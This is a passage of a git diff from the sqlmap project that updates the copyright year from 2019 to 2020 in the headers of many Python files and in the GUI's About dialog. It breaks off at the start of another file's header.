c654cbef7..a1e6b4789 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index 40ea3f26e..f2b7fe465 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/checks.py b/lib/controller/checks.py index fab3f29e9..dab1609ff 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/controller.py b/lib/controller/controller.py index a9bd38e28..c9a5b7e87 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 6ab21b71a..fc439729a 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/__init__.py b/lib/core/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index bc96632d7..de7f50e09 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index ea6338697..2b6c148c1 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/common.py b/lib/core/common.py index 377d135fa..ae8d5dfcc 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/compat.py b/lib/core/compat.py index 0466e7cc0..78572c762 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/convert.py b/lib/core/convert.py index d5d24b3ed..4eadbf968 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/data.py b/lib/core/data.py index 3a56c7fb4..ffd460ae0 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 860347a49..b6cbc5441 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/decorators.py b/lib/core/decorators.py index a01f08404..33a7a074f 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 914caac38..0dcdd076c 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 5fb35af9e..4e0f07bef 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dump.py b/lib/core/dump.py index 9fd4c8fcf..e76b60c67 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/enums.py b/lib/core/enums.py index a1264fb35..3ab83f540 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/exception.py b/lib/core/exception.py index ad87adf6f..83013473a 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/gui.py b/lib/core/gui.py index 3143b892f..85885b791 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -213,7 +213,7 @@ def runGui(parser): helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2019\n\n (%s)" % DEV_EMAIL_ADDRESS)) + helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2020\n\n (%s)" % DEV_EMAIL_ADDRESS)) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar) diff --git a/lib/core/log.py b/lib/core/log.py index 096fdfd90..3ab750e1e 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/option.py b/lib/core/option.py index 24eb466e3..fa64003d7 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8da3b0399..caa75fa90 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/patch.py b/lib/core/patch.py index 60ac0ef10..6d809e413 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 2282d9448..33aad3b67 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 90bf42741..cffc55185 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/replication.py b/lib/core/replication.py index d0a1a3d1e..93e38fc85 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/revision.py b/lib/core/revision.py index 6988f1a5e..eb45f96a7 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/session.py b/lib/core/session.py index 9cf569b68..ba6087912 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a40fcfe3..7bbb515c2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/shell.py b/lib/core/shell.py index e147223fd..e2896ad20 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index e0d99951f..216706de7 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/target.py b/lib/core/target.py index 65028db59..72957074b 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/testing.py b/lib/core/testing.py index 788935d57..4685c6bae 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/threads.py b/lib/core/threads.py index 4e65c8a4e..c717681fe 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index e2e33e84d..6f7956a14 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/update.py b/lib/core/update.py index 4314575ff..75ec48b59 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index a200e5376..2139c6d0f 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 6d5a60f29..d34ccf674 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index f69ca58ea..7c6fa2986 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index aa1c207b7..c0d7ce7ca 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 805c756cf..9e071a14c 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 9676f91b1..75480193e 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/html.py b/lib/parse/html.py index 3ec61d52f..8af2067ce 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 6ee738f16..19caab070 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 83461c1b9..7acb1864c 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/__init__.py b/lib/request/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index d4d78fc66..09d94d2be 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index 58eec7d4e..252739ce1 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 9c226a9cb..243b4a643 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 18f37640e..90fb14c53 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/connect.py b/lib/request/connect.py index 26ab5526b..a5eff1103 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/direct.py b/lib/request/direct.py index 755291efa..ea64470f3 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/dns.py b/lib/request/dns.py index 8c6df781b..7f6c914d1 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index dd12c13db..c7cb41abe 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/inject.py b/lib/request/inject.py index 8b17a3941..579a1e7f6 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index b05902efa..318a87a84 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index d6d42c823..174c4495d 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index fcfc7e145..f63d0bc41 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 18bb1285a..5ecc2a193 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/templates.py b/lib/request/templates.py index 6f8f155e0..c19c9c9ed 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index accc9f6a2..b85f93365 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 0fcec0f2d..4aab03baf 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 18c7a5b84..2e12d2c07 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index d70a2b607..991ce631a 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 2848d67ff..fd2ed655d 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/web.py b/lib/takeover/web.py index a459e2cc9..b338131f5 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 1ea8228c2..2f06fb047 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 28eb23511..063ad7334 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 361a3b088..f1f5948ad 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index bca5594b8..611ad75d5 100644 